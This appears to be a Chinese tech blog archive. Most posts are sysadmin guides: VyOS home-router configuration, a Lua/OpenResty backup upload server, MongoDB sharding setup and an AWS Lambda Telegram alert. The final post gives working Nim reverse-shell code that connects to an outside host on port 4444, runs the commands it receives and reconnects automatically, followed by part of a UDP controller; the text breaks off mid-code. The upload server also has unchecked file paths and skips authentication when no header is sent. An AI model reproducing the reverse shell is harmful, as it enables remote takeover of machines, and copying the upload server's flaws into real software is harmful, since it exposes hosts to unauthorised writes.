分类 linux 下的文章

微型家用网络折腾记

很久之前买了一个 N4100 的四网口 2.5g 小主机,一直在闲置,前一阵子家里的网络升级到了联通的千兆网络,正好拿来做主路由。家里的网络环境也非常简单: 光猫(改桥接) --> N4100 --> TPlink AP XAP5400GC。

由于想找个和 linux 贴近的开源路由系统,最好是和云也能沾点边,所有选择了 vyos,经过一段时间的使用,实现了以下功能:

  1. WAN/LAN 分别使用两个网口,网口绑定,实现盲插
  2. PPPoE 拨号 及 DHCP server
  3. cake qos
  4. Zone Based firewall
  5. 科学相关(略)
  6. 一些远程访问相关的容器

一、物理网卡配置

这个小主机有四个 i226 的 2.5g 网口,网口分配 eth0/eth1 WAN 口,eth2/eth3 LAN 口,这个小机器的网卡顺序在系统中默认不是0/1/2/3,因此要绑定网卡名字和 mac 地址,防止重启后名字变化。

1.1 绑定网卡名字及 mac 地址

set interfaces ethernet eth0 hw-id '60:be:xx:xx:xx:xx'
set interfaces ethernet eth1 hw-id '60:be:xx:xx:xx:yy'

1.2 开启硬件 offload

offload 简单理解就是网卡硬件中已经实现了一些数据包的处理,开启后不在使用 cpu 处理,能够提升性能。以 eth0 为例子,其他的网卡也需要设置:

set interfaces ethernet eth0 offload gro
set interfaces ethernet eth0 offload gso
set interfaces ethernet eth0 offload lro
set interfaces ethernet eth0 offload rfs
set interfaces ethernet eth0 offload rps
set interfaces ethernet eth0 offload sg
set interfaces ethernet eth0 offload tso
set interfaces ethernet eth0 ring-buffer rx '4096'
set interfaces ethernet eth0 ring-buffer tx '4096'

1.3 WAN/LAN 接口配置

我要实现的是 eth0/eth1 绑定成一个 bond0 ,在 bond0 上在启用一个桥接的 br0 作为 wan 口;同理,eth2/eth3 绑定成一个 bond1,在 bond1 上在启用一个桥接的 br1 作为 Lan 口。
这样做的好处是 eth0/eth1 和 eth2/eth3 可以随便插,有冗余的效果,稍加配置也可以实现两个端口的链路聚合,实现带宽叠加。

配置 wan 和 Lan 口物理网卡绑定:

set interfaces bonding bond0 description 'Bond Interface WAN'
set interfaces bonding bond0 member interface 'eth0'
set interfaces bonding bond0 member interface 'eth1'
set interfaces bonding bond1 description 'Bond Interface LAN'
set interfaces bonding bond1 member interface 'eth2'
set interfaces bonding bond1 member interface 'eth3'

设置WAN的桥接 br0 和 LAN 的桥接 br1,这里的 stp 其实开不开都用处不大。另外我给 Lan 口配置了一个10.0.0.254的ip,后续的容器都绑定到这个 ip 上。

set interfaces bridge br0 description 'WAN bridge'
set interfaces bridge br0 member interface bond0
set interfaces bridge br0 stp

set interfaces bridge br1 address '10.0.0.1/24'
set interfaces bridge br1 address '10.0.0.254/32'
set interfaces bridge br1 description 'LAN bridge'
set interfaces bridge br1 member interface bond1
set interfaces bridge br1 stp

二、 WAN 口 PPPoE 拨号配置

2.1 拨号配置

前提是光猫要改桥接,并且有宽带的拨号信息,先从光猫的 LAN 口接一条网线到 vyos 的 eth0 或 eth1 接口,并启用一个pppoe0的接口, 自动配置 MTU :

set interfaces pppoe pppoe0 authentication password '宽带密码'
set interfaces pppoe pppoe0 authentication username '宽带账号'
set interfaces pppoe pppoe0 description 'China Unicom'
set interfaces pppoe pppoe0 ip adjust-mss 'clamp-mss-to-pmtu'
set interfaces pppoe pppoe0 source-interface 'br0'

2.2 IPv6 PD 配置

首先设置需要设置 prefix,我的运营商是给的是/60

set interfaces pppoe pppoe0 dhcpv6-options pd 0 interface br1 address '1'
set interfaces pppoe pppoe0 dhcpv6-options pd 0 interface br1 sla-id '0'
set interfaces pppoe pppoe0 dhcpv6-options pd 0 length '60'
set interfaces pppoe pppoe0 ipv6 address autoconf
set interfaces pppoe pppoe0 ipv6 adjust-mss 'clamp-mss-to-pmtu'

设置路由器公告RA:

set service router-advert interface br1 link-mtu '1490'
set service router-advert interface br1 prefix ::/64 valid-lifetime '172800'
set service router-advert interface pppoe0

2.3 多拨

多拨需要运营商支持,vyos 的多拨非常简单,新启用一个 pppoe 的接口拨号即可:

set interfaces pppoe pppoe1 authentication password '宽带密码'
set interfaces pppoe pppoe1 authentication username '宽带账号'
set interfaces pppoe pppoe1 description 'China Unicom WAN multi-pppoe-2'
set interfaces pppoe pppoe1 source-interface 'br0'

至此 WAN 的配置全部结束。

三 、 LAN 配置 DHCP

3.1 启用 LAN 口的 DHCP server

LAN 的网段是 10.0.0.0/24,DHCP 的分配 IP 范围是 10.0.0.100-200,同时下发了 dns server 和 ntp server。

set service dhcp-server dynamic-dns-update
set service dhcp-server hostfile-update
set service dhcp-server listen-interface 'br1'
set service dhcp-server shared-network-name LAN_br1 authoritative
set service dhcp-server shared-network-name LAN_br1 option ntp-server '10.0.0.1'
set service dhcp-server shared-network-name LAN_br1 option time-zone 'Asia/Shanghai'
set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 subnet-id '1'
set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 lease '86400'
set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 option default-router '10.0.0.1'
set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 option domain-name 'home.local'
set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 option domain-search 'home.local'
set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 option name-server '10.0.0.1'
set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 range 100 start '10.0.0.100'
set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 range 100 stop '10.0.0.200'

3.2 绑定静态 IP

如果有固定的硬件,可以绑定固定的 IP

set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 static-mapping TPlink-AP ip-address '10.0.0.2'
set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 static-mapping Sony-TV ip-address '10.0.0.21'

绑定固定 IP 后,直接ping TPlink-AP或者 ping Sony-TV 还无法解析,还需要配置 DNS。

3.3 局域网 DNS 配置

Vyos 自带 Powerdns recursor ,不添加上游 dns 服务器也可以正常解析。

set service dns forwarding allow-from '10.0.0.0/24'
set service dns forwarding authoritative-domain home.local records a TPlink-AP address '10.0.0.2'
set service dns forwarding authoritative-domain home.local records a Sony-TV address '10.0.0.21'
set service dns forwarding listen-address '10.0.0.1'
set service dns forwarding listen-address '::1'
set service dns forwarding name-server 10.0.0.254

vyos 的 pdns 为了保持简单,能设置的功能并不多,本例子中的上游是 dns server 是本机的 mosdns container ,绑定的是 10.0.0.254 udp 53端口。可以改成公共 dns 也可以设置多个。

3.4 局域网 NTP 配置

set service ntp allow-client address '10.0.0.0/24'
set service ntp interface 'br1'
set service ntp listen-address '10.0.0.1'
set service ntp server asia.pool.ntp.org
set service ntp server time.apple.com
set service ntp server time.aws.com
set service ntp server time.cloudflare.com

到这一步基本的局域网配置就已经可以了,其他设备加入就可以自动获取 ip 并上网了。

四、QoS 流量管理

Vyos 提供了非常完善的 Qos Policy,常见的流量策略都支持。家用不用那么麻烦直接使用 Cake 仅需要设置一下带宽,要注意的是启用 Qos 会占用 CPU,同时可能会导致带宽跑不满。好处是多人占用带宽时,可以为每一个人合理分配宽带资源。

set qos policy cake Qos_Cake_Lan bandwidth '1gbit'
set qos policy cake Qos_Cake_Lan description 'Qos For Lan interface br1'
set qos policy cake Qos_Cake_Lan flow-isolation dual-src-host
set qos policy cake Qos_Cake_Lan rtt '100'
set qos interface br1 egress 'Qos_Cake_Lan'

五、防火墙配置

Vyos rolling 版本已经实现了zone based 的防火墙。

5.1 全局配置

配置防火墙的全局配置和默认的 statefull 行为。

set firewall global-options all-ping 'enable'
set firewall global-options state-policy established action 'accept'
set firewall global-options state-policy invalid action 'drop'
set firewall global-options state-policy related action 'accept'
set firewall global-options syn-cookies 'enable'

5.2 创建 zone

创建三个zone,分别是 LOCAL/LAN/WAN,在 Vyos 中,local zone指vyos自身。创建 zone 的同时指定与其他 zone 之间的访问规则,ipv4 和 ipv6 的规则要分开指定。

set firewall zone LOCAL default-action 'drop'
set firewall zone LOCAL from LAN firewall ipv6-name 'LAN_to_LOCAL-ipv6'
set firewall zone LOCAL from LAN firewall name 'LAN_to_LOCAL'
set firewall zone LOCAL from WAN firewall ipv6-name 'WAN_to_LOCAL-ipv6'
set firewall zone LOCAL from WAN firewall name 'WAN_to_LOCAL'
set firewall zone LOCAL local-zone

set firewall zone LAN default-action 'drop'
set firewall zone LAN from LOCAL firewall ipv6-name 'LOCAL_to_LAN-ipv6'
set firewall zone LAN from LOCAL firewall name 'LOCAL_to_LAN'
set firewall zone LAN from WAN firewall ipv6-name 'WAN_to_LAN-ipv6'
set firewall zone LAN from WAN firewall name 'WAN_to_LAN'
set firewall zone LAN interface 'br1'

set firewall zone WAN default-action 'drop'
set firewall zone WAN from LAN firewall ipv6-name 'LAN_to_WAN-ipv6'
set firewall zone WAN from LAN firewall name 'LAN_to_WAN'
set firewall zone WAN from LOCAL firewall ipv6-name 'LOCAL_to_WAN-ipv6'
set firewall zone WAN from LOCAL firewall name 'LOCAL_to_WAN'
set firewall zone WAN interface 'br0'
set firewall zone WAN interface 'pppoe0'

5.3 创建 zone 之间的访问规则

为了方便调试,对于 drop 的规则启用日志。创建 zone LOCAL 到 WAN 和 LAN的 ipv4 和 ipv6 规则:

set firewall ipv4 name LOCAL_to_LAN default-action 'accept'
set firewall ipv4 name LOCAL_to_WAN default-action 'accept'

set firewall ipv6 name LOCAL_to_LAN-ipv6 default-action 'accept'
set firewall ipv6 name LOCAL_to_WAN-ipv6 default-action 'accept'

创建 zone LAN 到 WAN 和 LOCAL的 ipv4 和 ipv6 规则:

set firewall ipv4 name LAN_to_LOCAL default-action 'accept'
set firewall ipv4 name LAN_to_WAN default-action 'accept'
set firewall ipv4 name LAN_to_WAN rule 20 action 'return'
set firewall ipv4 name LAN_to_WAN rule 20 description 'ipv4 stateful from LAN to WAN'
set firewall ipv4 name LAN_to_WAN rule 20 state 'established'
set firewall ipv4 name LAN_to_WAN rule 20 state 'related'
set firewall ipv4 name LAN_to_WAN rule 20 state 'new'
set firewall ipv4 name LAN_to_WAN rule 20 state 'invalid'

set firewall ipv6 name LAN_to_LOCAL-ipv6 default-action 'accept'
set firewall ipv6 name LAN_to_WAN-ipv6 default-action 'accept'
set firewall ipv6 name LAN_to_WAN-ipv6 description 'ipv6 stateful from LAN to WAN'
set firewall ipv6 name LAN_to_WAN-ipv6 rule 20 action 'return'
set firewall ipv6 name LAN_to_WAN-ipv6 rule 20 state 'established'
set firewall ipv6 name LAN_to_WAN-ipv6 rule 20 state 'new'
set firewall ipv6 name LAN_to_WAN-ipv6 rule 20 state 'related'
set firewall ipv6 name LAN_to_WAN-ipv6 rule 20 state 'invalid'

创建 zone WAN 到 LAN 和 LOCAL的 ipv4 和 ipv6 规则,需要注意的是要放行 WAN pppoe的ipv6 pd相关的 dhcp/icmp 等:

set firewall ipv4 name WAN_to_LAN default-action 'drop'
set firewall ipv4 name WAN_to_LAN default-log
set firewall ipv4 name WAN_to_LOCAL default-action 'drop'
set firewall ipv4 name WAN_to_LOCAL default-log

set firewall ipv6 name WAN_to_LAN-ipv6 default-action 'drop'
set firewall ipv6 name WAN_to_LAN-ipv6 default-log
set firewall ipv6 name WAN_to_LOCAL-ipv6 default-action 'drop'
set firewall ipv6 name WAN_to_LOCAL-ipv6 default-log
set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 10 action 'drop'
set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 10 icmpv6 type-name 'echo-request'
set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 10 protocol 'ipv6-icmp'
set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 20 action 'accept'
set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 20 protocol 'ipv6-icmp'
set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 30 action 'accept'
set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 30 destination port '546'
set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 30 protocol 'udp'
set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 30 source port '547'

六、科学上网

个人一直反感写这类文章,这里仅提供思路。vyos 是专业的路由系统,又支持 podman, 实现科学功能相当容易。
我个人使用的方案是 ospf over wireguard over websocket, 需要配置以下内容:

  1. 无污染的 dns: 使用 mosdns 运行在 vyos 的容器中, 实现国内外域名分流,广告屏蔽等
  2. 境外服务器: 1. 安装 bird 跑 ospf和bfd 2. wireguard 3. openresty + v2ray server 4. ospf 分流脚本
  3. Vyos: 1. ospf(non-broadcast)+ bfd 2. wireguard 3.v2ray容器(udp over websocket/load balancer)

七、其他杂项配置

set system host-name 'vyos'
set system name-server '10.0.0.1'
set system time-zone 'Asia/Shanghai'
set system update-check auto-check
set system update-check url 'https://raw.githubusercontent.com/vyos/vyos-rolling-nightly-builds/main/version.json'

set service ssh access-control allow user 'vyos'
set service ssh listen-address '10.0.0.1'
set service ssh port '22'
set system login user vyos authentication plaintext-password 'vyos.opswill.com'

set system config-management commit-archive location 'https://user:pass@backup.opswill.com'
set system config-management commit-archive source-address '10.0.0.1'
set system config-management commit-revisions '100'

另外还跑了一些容器:

  1. cloudflare-dns :ddns,每五分钟更新 ipv4 和 ipv6 地址
  2. cloudflared:cloudflare tunnel,使用 zero trust 远程访问路由器
  3. tailscale: 手机等设备使用加了网络上网
  4. mosdns: 上文有提到,提供无污染 dns server
  5. v2ray: 提供udp over websocket 供wirguard使用

八、总结

虽然写了一大堆,但是整体配置起来非常快,感觉比其他有 web 管理的路由系统更容易配置和使用。家里已经稳定运行了将近一年,我基本上每个月升级两次,即使 rolling 版本也很少遇到问题,值得推荐和使用。

一个简单的文件服务器

家里的路由器基本上折腾差不多了,用的是小厂家的x86工控机,硬盘也是捡的垃圾,想到自己时不时的升级/重启/异常断电,还是备份一下的配置文件比较稳妥。我用的路由系统的基于debian的VYOS rolling版本,折腾了半个月已经非常熟悉了,用起来比较爽也很稳定,基本满足自己的各种需求。系统自带了同步配置的功能,每次commit前会先同步配置,支持以下几种方式:

   http://<user>:<passwd>@<host>/<path>
   https://<user>:<passwd>@<host>/<path>
   ftp://<user>:<passwd>@<host>/<path>
   sftp://<user>:<passwd>@<host>/<path>
   scp://<user>:<passwd>@<host>/<path>
   tftp://<host>/<path>
   git+https://<user>:<passwd>@<host>/<path>

以上方式中,最简单的就是http方式了,经过抓取日志,vyos 会使用 "POST /config.boot-vyos.20240205_171540" 方式上传配置,其中uri是配置文件名,包体是明文的配置内容,正好我的服务器使用的是openresty,就用lua写了一个简单的文件服务器,接收vyos POST过来的配置。lua脚本实现了以下功能:

  1. 接收POST包体并保存到文件,文件名为POST请求的uri
  2. 使用http basic authentication的用户名密码认证

接收POST请求,直接接收POST包体然后使用io.open写入文件:

            local file
            local upload_path = '/var/www/html/vyos/'

                    ngx.req.read_body()
                        local file_name = ngx.var.uri
                    local data = ngx.req.get_body_data()
                        if file_name then
                    file = io.open(upload_path .. file_name, 'a+')
                    if not file then
                        ngx.log(ngx.ERR, "failed to open file ", file_name)
                        return
                    end
                end
            if data then
                    file:write(data)
                    file:close()
            else
                    ngx.log(ngx.ERR, "data is empty")
                    return
            end

用户名密码认证,使用nginx也能实现,但是认证文件要单独写进文件里。用lua就一个配置文件就能可以了。http basic auth主要是是解析http头Authorization,并使用base64解密用户名密码:

            local function split(str, delimiter)
                local result = {}
                if not str or not delimiter then
                    return result
                end

                for match in (str..delimiter):gmatch("(.-)"..delimiter) do
                    if match then
                        table.insert(result, match)
                    end
                end
                return result
            end

            local function parseHeader(authorization)
                local base64 = string.sub(authorization, 7)
                local data = split(ngx.decode_base64(base64), ":")
                return data[1], data[2]
            end

            local header = ngx.req.get_headers()["Authorization"]
            if header then
                local username, password = parseHeader(header)
                if username ~= "vyos.user" or password ~= "vyos.pass" then
                    ngx.header["WWW-Authenticate"] = [[Basic realm="restricted"]]
                    ngx.exit(401)
                end
            end

以上就是核心逻辑,经过测试ngx.req.get_body_data() 读请求包体,会偶尔出现读取不到直接返回 nil 的情况。还需要额外设置client_max_body_size 和client_body_buffer_size, 强制在内存中保存请求体。

完整的nginx配置文件如下:

server {
        listen 80;
    server_name
        backup.opswill.com
        ;

    access_log /var/log/backup_access.log main;
    error_log  /var/log/backup_error.log;

    client_max_body_size 100m;
    client_body_buffer_size 100m;

    location / {
        content_by_lua_block {

            local function split(str, delimiter)
                local result = {}
                if not str or not delimiter then
                    return result
                end

                for match in (str..delimiter):gmatch("(.-)"..delimiter) do
                    if match then
                        table.insert(result, match)
                    end
                end
                return result
            end

            local function parseHeader(authorization)
                local base64 = string.sub(authorization, 7)
                local data = split(ngx.decode_base64(base64), ":")
                return data[1], data[2]
            end

            local header = ngx.req.get_headers()["Authorization"]
            if header then
                local username, password = parseHeader(header)
                if username ~= "vyos.user" or password ~= "vyos.pass" then
                    ngx.header["WWW-Authenticate"] = [[Basic realm="restricted"]]
                    ngx.exit(401)
                end
            end

            local file
            local upload_path = '/var/www/html/vyos/'

                    ngx.req.read_body()
                        local file_name = ngx.var.uri
                    local data = ngx.req.get_body_data()
                        if file_name then
                    file = io.open(upload_path .. file_name, 'a+')
                    if not file then
                        ngx.log(ngx.ERR, "failed to open file ", file_name)
                        return
                    end
                end
            if data then
                    file:write(data)
                    file:close()
            else
                    ngx.log(ngx.ERR, "data is empty")
                    return
            end
        }

    }

}

用curl测试文件上传:

 curl -X POST -d"body-abd-opswill.com" "https://vyos.user:vyos.pass@backup.ipip.dev/test.txt"  -ivvvv

会在/var/www/html/vyos/下生成 text.txt文件,内容是body-abd-opswill.com。

至此,一个使用lua实现的简单的文件服务器就配置完成了,该文件服务器可以接收post上传文件到指定目录并实现了基本的用户名密码认证。

MongoDB分片集群配置的流水账

MongoDB的分布式架构是通过使用Sharding(分片)来实现的,使用MongoDB的sharding可以带来以下好处:

  • 横向扩展:通过添加更多的shard,MongoDB能够处理更大的数据集和更高的并发访问,提供更好的性能和可扩展性。
  • 高可用性:通过将数据复制到多个shard上,并使用复制集提供数据冗余和自动故障转移,MongoDB能够提供高可用性。
  • 负载均衡:Mongos路由请求到不同的shard上,从而实现负载均衡,避免单个shard成为瓶颈。

一、分片集群组件

在一个分片集群中,包含以下组件:

  1. 分片(shards),实际存储数据的节点。
  2. 集群配置集(config),存储整个分片集群的metadata信息。
  3. 路由(mongos),作为应用接入路由节点,是mongodb数据的入口。

1.1 Shards

  • 每个shard是一个独立的MongoDB实例,负责存储一部分数据,多个独立的shard分片组成整个shards分片集群。
  • 每个shard都可以是一个独立的物理服务器或一个复制(Replica Set)。
  • Shard可以动态地添加或删除,以适应数据量的变化。
  • Shard Key用来将数据分发到不同shard。MongoDB根据Shard Key决定将数据存储在哪个shard上。

1.2 Config servers(metadata)

  • Config Server是存储集群的元数据(metadata)的特殊MongoDB实例。
  • 元数据包括分片键(shard key)的范围和每个分片负责的数据范围。
  • Config Server通常以复制集的形式部署,官方推荐至少3个节点,以提供高可用性和数据冗余。

作为config server的复制集必须采用 WiredTiger storage engine。
副本节点中没有arbiter。
副本节点中没有delayed members。
副本节点中必须build indexes。

1.3 Router(mongos)

  • mongos是应用程序和分片集群之间的接口,所有对集群的操作及数据读写都连接到mongos进行。
  • 应用程序通过Mongos与集群交互,Mongos负责将请求路由到正确的shard上。
  • Mongos还负责跟踪分片集群的状态和管理元数据。

二、配置高可用mongodb分片集群

MongoDB sharding 高可用集群配置要点:

  1. 配置mongodb分片集群时,推荐对每个mongod组件使用用域名或hosts绑定。
  2. shard集群至少配置2个分片,每个分片都为复制集(1 Primary + 1 Replica + 1 Arbiter),实现数据冗余。
  3. 至少3个config server,实现集群高可用。
  4. 启用多个mongos实例,通过在应用上配置,实现负载均衡。

2.1 集群配置说明

通常按以下顺序进行集群配置:

  1. 分别创建shards、config、mongos配置文件
  2. 确认mongodb各目录是否存在及权限正确
  3. 按顺序配置并启动分片集群各个组件实例(依次启动config->shards->mongos)
  4. 初始化复制集分片
  5. 初始化config server复制集
  6. 配置集群分片,对DB或Collection开启分片功能
  7. 使用数据库都连接到mongos节点进行操作

2.2 各组件的配置文件

2.2.1 shard 配置文件 shard.conf

多个shard节点配置相同,需注意dbPath是否存在且权限正确。

processManagement:
    fork: true
net:
    port: 27018
    bindIp: 0.0.0.0

systemLog:
    destination: file
    path: /opt/mongodb.log
    logAppend: true
    logRotate: rename

storage:
    journal:
        enabled: true
    dbPath: /opt/data/mongodb/
    directoryPerDB: true
    engine: wiredTiger
    wiredTiger:
        engineConfig:
            cacheSizeGB: 10
            directoryForIndexes: true
        collectionConfig:
            blockCompressor: zlib
        indexConfig:
            prefixCompression: true

replication:
    oplogSizeMB: 20480
    replSetName: shardN

sharding:
    clusterRole: shardsvr

2.2.2 config server 配置文件 config.conf

多个config节点配置相同,需注意dbPath是否存在且权限正确。

processManagement:
    fork: true

net:
    port: 27019
    bindIp: 0.0.0.0

systemLog:
    destination: file
    path: /opt/configsrv.log
    logAppend: true
    logRotate: rename

storage:
    journal:
        enabled: true
    dbPath: /opt/data/configsrv/
    directoryPerDB: true
    engine: wiredTiger
    wiredTiger:
        engineConfig:
            cacheSizeGB: 1
            directoryForIndexes: true
        collectionConfig:
            blockCompressor: zlib
        indexConfig:
            prefixCompression: true

replication:
    replSetName: config

sharding:
    clusterRole: configsvr

2.2.3 Router 配置文件 mongos.conf

processManagement:
    fork: true

net:
    port: 27017
    bindIp: 0.0.0.0

systemLog:
    destination: file
    path: /opt/mongos.log
    logAppend: true
    logRotate: rename

sharding:
    configDB: config/config_server1:27019,config/config_server2:27019,config/config_server3:27019,

2.3 启动各个组件的实例

需要注意目录权限及用户,一般这两都默认都是mongodb。

shard和config的启动都是使用mongod启动:

mongod --config /opt/shard.conf
mongod --config /opt/config.conf

启动mongos:

mongos --config /opt/config.conf

三、 初始化分片集群

3.1 初始化shard

连接到每个shard,分别执行以下命令进行初始化:

mongo shard1:27018
use admin
db.runCommand({
    "replSetInitiate":{
        "_id":"RsDBNAME",
        "members":[
            {"_id":1,"host":"shard1:27018","priority": 2},
            {"_id":2,"host":"shard2:27018"},
            {"_id":3,"host":"shard3:27018","arbiterOnly":true}
        ]
    }
})

3.2 初始化config server复制集

连接到每个config server,分别执行以下命令进行初始化:

mongo config1:27019
use admin
rs.initiate({
    _id: "configReplSetNAME",
    configsvr: true,
    members: [
        { _id: 1, host: "config1:27019", "priority": 2 },
        { _id: 2, host: "config2:27019" },
        { _id: 3, host: "config3:27019" }
   ]
})

3.3 连接到mongos进行集群分片的配置

mongo mongos1:27017
use admin
sh.addShard("shardN/shard1:27018")
sh.addShard("shardN/shard2:27018")
sh.addShard("shardN/shard3:27018")

shardN为配置文件中replica_set的名字,按需进行修改。

四、启用分片功能

4.1 对某个库开启分片

先连接mongos在执行:

mongo mongos1:27017
use admin
sh.enableSharding("DBtest")

4.2 对某个Collection启用分片

对Collection启用分片需先创建索引:

db.MYcollection.createIndex({ field1: 1 })
sh.shardCollection("MYdatabase.MYcollection", { field1: 1 })

五、日常使用及测试

使用数据库都要连接到mongos节点进行操作:

mongo mongos1:27017
use test
db.MYcollection.insert({"test": 1})
db.MYcollection.find()

参考文章:
https://www.mongodb.com/docs/manual/sharding/
https://vastxiao.github.io/article/2019/12/06/mongodb-setup-config-sharding-cluster/

使用 AWS Lambda发送 Telegram 警报

一、应用场景

有几个 cloudfront distribution 启用了 WAF,经常遇到扫描和攻击,请求数太多了。为了不产生天价账单,做了一个 Telegram 告警,有警报可以实时处理。

二、涉及服务

  1. AWS Cloudfront: CDN服务进行全球加速
  2. AWS WAF: 启用应用防护,过滤异常请求
  3. AWS Cloudwatch: 收集 Cloudfront/WAF 指标,创建告警触发 SNS
  4. AWS SNS: 发送通知,并触发 Lambda 执行
  5. AWS Lambda: 获取 CDN 的指标,并发送 Telegram 通知

三、准备工作

  1. WAF:设置启用防火墙的过滤规则,设置频率限制等,拦截异常请求
  2. Cloudwatch: 根据 WAF 规则创建警报,例如5分钟内如果有3000个异常请求就报警,并创建一个 SNS Topic
  3. AWS SNS: 无需特别设置,保持默认即可,也可以继续添加多个subscription订阅,实现多种告警方式
  4. AWS Lambbda: 编写代码从 Cloudwatch 中获取 Cloudfront 性能统计指标,并发送给 Telegram 机器人
  5. Telegram: 申请一个新的机器人并拿到 token , 难道需要接受告警的 user id(有专门的机器人可以获得)

四、部署告警服务

4.1 创建 Lambda 函数

先创建一个 lambda function,Runtime 选择 python 3.10.其他使用默认设置即可。
代码如下:

import os
import json
import urllib3
import boto3
from datetime import datetime, timedelta

def lambda_handler(event, context):
    # 从环境变量中获取 Telegram Bot Token 和聊天 ID

    bot_token = os.environ['BOT_TOKEN']
    user_will_chat_id = os.environ['CHAT_ID']

    cloudfront_client = boto3.client('cloudfront')
    cloudwatch_client = boto3.client('cloudwatch')

    # 获取所有 CloudFront distributions
    distributions = cloudfront_client.list_distributions()["DistributionList"]["Items"]

    # 获取每个 Distribution 的请求数和错误率
    distribution_metrics = []
    for distribution in distributions:
        distribution_id = distribution["Id"]
        distribution_description = distribution['Comment']
        
        requests = get_metrics(cloudwatch_client, distribution_id, 'Requests', ['Sum'])
        error_rate = get_metrics(cloudwatch_client, distribution_id, 'TotalErrorRate', ['Average'])

        # 将结果添加到列表中
        distribution_metrics.append({
            'DistributionName': distribution_description,
            'TotalRequests': requests,
            'TotalErrorRate': error_rate
        })
    #按TotalRequests和TotalErrorRate进行排序
    sorted_request_metrics = sorted(distribution_metrics, key=lambda x: x['TotalRequests'] if x['TotalRequests'] is not None else 0, reverse=True)
    sorted_rate_metrics = sorted(distribution_metrics, key=lambda x: x['TotalErrorRate'] if x['TotalErrorRate'] is not None else 0, reverse=True)

    #获取请求数前3和错误率前3
    top3_request_metrics = sorted_request_metrics[:3]
    top3_rate_metrics = sorted_rate_metrics[:3]
    
    # 发送telegram bot的消息
    msg = f"按请求数(1h)排序前三:\n"
    for i, metric in enumerate(top3_request_metrics):
        msg += f"{i+1}. {metric['DistributionName']} 请求数:{metric['TotalRequests']} 错误率:{round(metric['TotalErrorRate'], 2)}  \n"
    msg += "\n按错误率(1h)排序前三:\n"
    for i, metric in enumerate(top3_rate_metrics):
        msg += f"{i+1}. {metric['DistributionName']}  错误率:{round(metric['TotalErrorRate'], 2)}  请求数:{metric['TotalRequests']} \n"

    # 发送警报通知
    send_telegram_message(bot_token,user_will_chat_id, "请注意CDN有攻击!!!")
    send_telegram_message(bot_token,user_will_chat_id, msg)

def send_telegram_message(bot_token, chat_id, message):
    bot_api_url = f"https://api.telegram.org/bot{bot_token}/sendMessage"
    http = urllib3.PoolManager()

    # 准备请求数据
    data = {
        'chat_id': chat_id,
        'text': message
    }

    # 发送 POST 请求到 Telegram 机器人 API
    msg_response = http.request('POST', bot_api_url, fields=data)
    
    # 根据响应内容判断是否成功发送消息
    if json.loads(msg_response.data.decode('utf-8'))['ok']:
        print(f"Message sent to chat {chat_id}: {message}")
    else:
        print(f"Failed to send message to chat {chat_id}")

        
def get_metrics(cloudwatch_client, distribution_id, metric_name, statistics):
    #获取当前时间和一小时前时间
    end_time = datetime.utcnow()
    start_time = end_time - timedelta(hours=1)

    #获取指定的metric
    response = cloudwatch_client.get_metric_statistics(
        Namespace='AWS/CloudFront',
        MetricName=metric_name,
        Dimensions=[
            {'Name': 'Region', 'Value': 'Global'},
            {'Name': 'DistributionId', 'Value': distribution_id}
        ],
        StartTime=start_time,
        EndTime=end_time,
        Period=3600,
        Statistics=statistics
    )

    # 提取并打印请求数统计数据
    datapoints = response['Datapoints']
    for datapoint in datapoints:
        value = datapoint[statistics[0]]
        return value

以上代码会读取所有 Cloudfront distribution , 并从 Cloudwatch 中获取请求数和总的错误率,并取前三,发送给 Telegram 机器人。

4.2 设置 Lambda 函数

4.2.1 设置 Lambda 函数的权限

找到默认的 Lambda role:

Lambda function --> Configuration --> Permissions -->Execution role --> Role name

在 IAM 中打开 Role name,选择 add permission ,添加 CloudFrontReadOnlyAccess 和 CloudWatchReadOnlyAccess 两个权限,保存即可

4.2.2 设置 Lambda 函数的Timeout

由于 Cloudfront 的 distribution 比较多,获取指标比较慢,Lambda 默认 3s 的超时时间比较短,需要增加到至少1分钟.

Lambda function --> Configuration --> General configuration --> Timeout

4.2.3 设置 Lambda 函数的环境变量

需要在环境变量中设置 Telegram 机器人的 token 和用户 id :

Lambda function --> Configuration -->Environment variables 

添加两个环境变量:BOT_TOKEN 和 CHAT_ID

五、 测试告警

设置好以上后,在 SNS 点击对应的 Topic ,然后选择 Publish message ,在 Message body 中随便输入点内容,点击 Publish message 即可,Telegram 就会收到通知了。

telegram-alert.png

nim语言实现跨平台反弹shell

在网上看到这个Nim语言,Python的语法,C的性能,还能跨平台,写了两个反弹shell玩了一下。

一、tcp 反弹shell,代自动重连功能

import net
import osproc
import os
import strutils

var ip = "server.nixops.me"
var port = 4444

var args = commandLineParams()

if args.len() == 2:
    ip = args[0]
    port = parseInt(args[1])

while true:
    var socket = newSocket()
    try:
        socket.connect(ip, Port(port))
        while true:
            try:
                socket.send(system.hostOS & "_" & system.hostCPU & "> ")
                var command = socket.recvLine()
                var result = execProcess(command,options = {poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon})
                socket.send(result)
            except:
                socket.close()
                break
    except:
        sleep(10000)
        continue

以上是被控端代码,控制端使用nc监听4444等待连接即可。

二、udp反弹shell

2.1 udp server控制端

import os
import strutils
import netty

var ip = "0.0.0.0"
var port = 4444

var args = commandLineParams()

if args.len() == 2:
    ip = args[0]
    port = parseInt(args[1])

var server = newReactor(ip, port)
echo "Listenting for UDP on " & ip & ":" & intToStr(port)

while true:
  server.tick()
  for connection in server.newConnections:
    echo "[new] ", connection.address

  for connection in server.deadConnections:
    echo "[dead] ", connection.address

  for msg in server.messages:
